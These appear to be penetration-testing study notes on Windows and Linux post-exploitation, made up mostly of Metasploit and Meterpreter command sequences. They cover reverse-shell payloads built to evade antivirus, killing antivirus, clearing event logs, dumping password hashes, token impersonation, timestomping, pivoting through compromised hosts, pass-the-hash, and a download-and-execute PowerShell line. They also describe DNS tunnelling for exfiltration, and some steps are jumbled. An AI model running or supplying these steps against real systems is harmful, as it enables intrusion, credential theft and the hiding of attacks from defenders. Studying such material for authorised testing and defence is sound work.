>> Practical Security Assessment (Penetration Testing) - Post-Exploitation
In Metasploit:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set ExitOnSession false
set LHOST ...
set LPORT ...
exploit -j
There are nice cheatsheets for msfvenom out there that help you create your own executables. When the user launches those executables, they will connect back to your machine -- providing a "reverse shell". For example, msfvenom cheatsheet.
But, there are many more sophisticated ways to generate your payload that bypasses AV. For example, Metasploit 5 contains evasion
module as you can see here:
use evasion/windows/windows_defender_exe
set payload windows/meterpreter/reverse_tcp
set lhost our_real_IP
run
handler -p windows/meterpreter/reverse_tcp -H 0.0.0.0 -P 8443 # to start the listener
After creating the executable, you dump it to the user one way or the other and then make the user run it.
Type to migrate to the explorer.exe service: run migrate -n explorer.exe
Type: shell
Type: net user
Type: net localgroup Administrators
Type: sessions -l
Type: sessions -i 1
sysinfo # take a look at the system's information
getuid # check who we are currently
use priv # load priv extensions for getsystem and some other options
getsystem # try to escalate privileges to SYSTEM
run killav # try to kill antivirus
clearev # clear the logs
run post/windows/gather/checkvm # check if we are in a VM or not
run post/windows/gather/hashdump # dump hashes of user passwords
run winenum # generic report when you compromised the machine
run getcountermeasure # what defensive
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_shares
run post/windows/gather/enum_snmp
reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run # check out what is running when the machine boots up
Do getsystem
before impersonating somebody:
{Just for the record, mitigation: set account to not be delegated when created in the AD to avoid
impersonation}
use incognito # allows to interact with a token in the memory
list_tokens -u # Microsoft stores a token in memory to log in users faster
list_rokens -g # list groups
impersonate_token DOMAIN\\Administrator
rev2self
rtfm.py is a wonderful tool to remember all kinds of commands to gather data on the machine: users, network information, process list, system host info, file search, file shares, etc.
upload /home/Vitaly/Vitaly.txt c:\\
timestomp C:\\Vitaly.txt -v
timestomp C:\\Vitaly.txt -m "07/07/1892 07:07:07"
timestomp C:\\Vitaly.txt -v
run netenum
run netenum -ps -r 10.10.30.0/24
run post/windows/gather/arp_scanner RHOSTS=10.10.30.0./24
route print
route add COMPROMISED_IP 255.255.0.0 SESSION_ID
Now we can run a port scan through the compromised machine in Metasploit (outside of Meterpreter):
use auxiliary/scanner/portscan/tcp
set RHOSTS IP
set THREADS 10
run
use
post/multi/manage/autoroute
module in Metasploit (outside of meterpreter) to
create routing of the traffic through the session ID of the compromised machineSESSION
(if only one meterpreter session, then it
should be equal 1), SUBNET
(that's the network that you cannot see but
the compromised system can see, e.g., 192.168.30.0), and NETMASK
(e.g.,
255.255.0.0) to the appropriate valuesrun
the moduleuse auxiliary/server/socks4a
module to create a
proxy server in MetasploitSRVHOST
(Kali's IP address) and SRVPORT
(9988 or
anything else you want)run
the module/etc/proxychains.conf
by adding a line socks4 127.0.0.1 9988
at the end of the file where 9988
is the SRVPORT you set on step 6proxychains
word in front of the command, e.g., proxychains nmap -A 192.168.30.0/24
There is an alternative way to autoroute
if you have a meterpreter shell open. Type run
autoroute -s 192.168.30.0/24
to route the traffic to 192.168.30.0/24
through
the current meterpreter's session on the compromised machine. If you want to run traffic for a
broader network, decrease the CIDR number like run autoroute -s 192.168.0.0/16
.
Pass The Hash is a technique that, given a known hash of a known user, allows to pass those known credentials to another machine without even cracking the hash itself.
use exploit/windows/smb/psexecset SMBUSER Administrator
set SMBPASS jshkjfhaturtiuye3bj873thrdsyt34nsjfkgksh
set payload windows/x64/meterpreter/reverse_tcp
set RHOST ...
set LHOST ...
set LPORT ...
exploit
Port forwarding allows you to instantly forward a port from your local machine to the compromised machine. In other words, if you want to use, for example, a remote desktop rdesktop
command, you can forward the port 3389. First, enter in the meterpreter session, then you can just type portfwd command, after which you can remotely connect to the compromised machine by running rdesktop 127.0.0.1:3389
. Another example that tries to use psexec exploit via shares on Windows box is shown below.
portfwd add -l 445 -p 445 -r remote_host_ip
background
use exploit/windows/smb/psexec
setg SMBUser known_user
setg SMBPASS known_password
set RHOST 127.0.0.1 # the exploit has to fire back to us though, so it goes to the localhost
set LHOST our_real_IP # this is not 127.0.0.1, but rather the external IP
set LPORT 5555 # that is the port our exploit will be listening on
run
There is a very popular technique to escalate privileges that target misconfigured services running as a privileged local account (like Java updater). So, you can use a tool like PowerUp that not only targets and exploits those misconfigured services but also tries many other techniques to escalate privileges. To run it on the compromised machine, you can use the following PowerShell command to download PowerUp.ps1 from PowerUp and then run Invoke-AllChecks to identify possible ways of escalating privileges:
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc/PowerUp.ps1'); Invoke-AllChecks
Additionally, privelege escalation modules are available in Metasploit as you can see here.
Also, GTFOBins allow you to find binaries that can be exploited by an attacker to bypass local security restriction.
Similarly to Windows, there are techniques that allow you to escalate privileges on Linux. Most commonly, you are going to look for files that are world-writable, SUID/GUID files owned by root, and misconfigurations. Some tools to do that:
ssh -L 3389:localhost:3389 username@compromised_host_IP
Open a new terminal window and type: rdesktop 127.0.0.1
db_nmap -sn -n -v --exclude our_IP remote_IP_range
-F # top 100 ports
-sS # SYN scan
-sC # run default nse scripts according to -sV
-oX # output with XML format
--reason
--open # show results if ports are open
db_nmap -p- -sS -n -v --reason --open -oX demo-ports.xml --stylesheet=nmap.xml IP # -p- all the ports from 0 to 65535
db_nmap -sU -n -v --open --reason IP
db_import demo-ports.xml
db_nmap -sS -sV -sC -v -n -p 21,22,80,1617,4848,5985,8022,8080,8282,8484,8585,9200,49153 IP
dnscat2 is a tool that is designed to create an encrypted C2 over DNS, which can be used as one of the most effective tunnels to send and receive data from compromised networks. This is a perfect way to evade firewalls, IDS/IPS, and exfiltrate data over DNS which is typically on. You may need to pay some money for an authoritative DNS server on Namecheap or GoDaddy.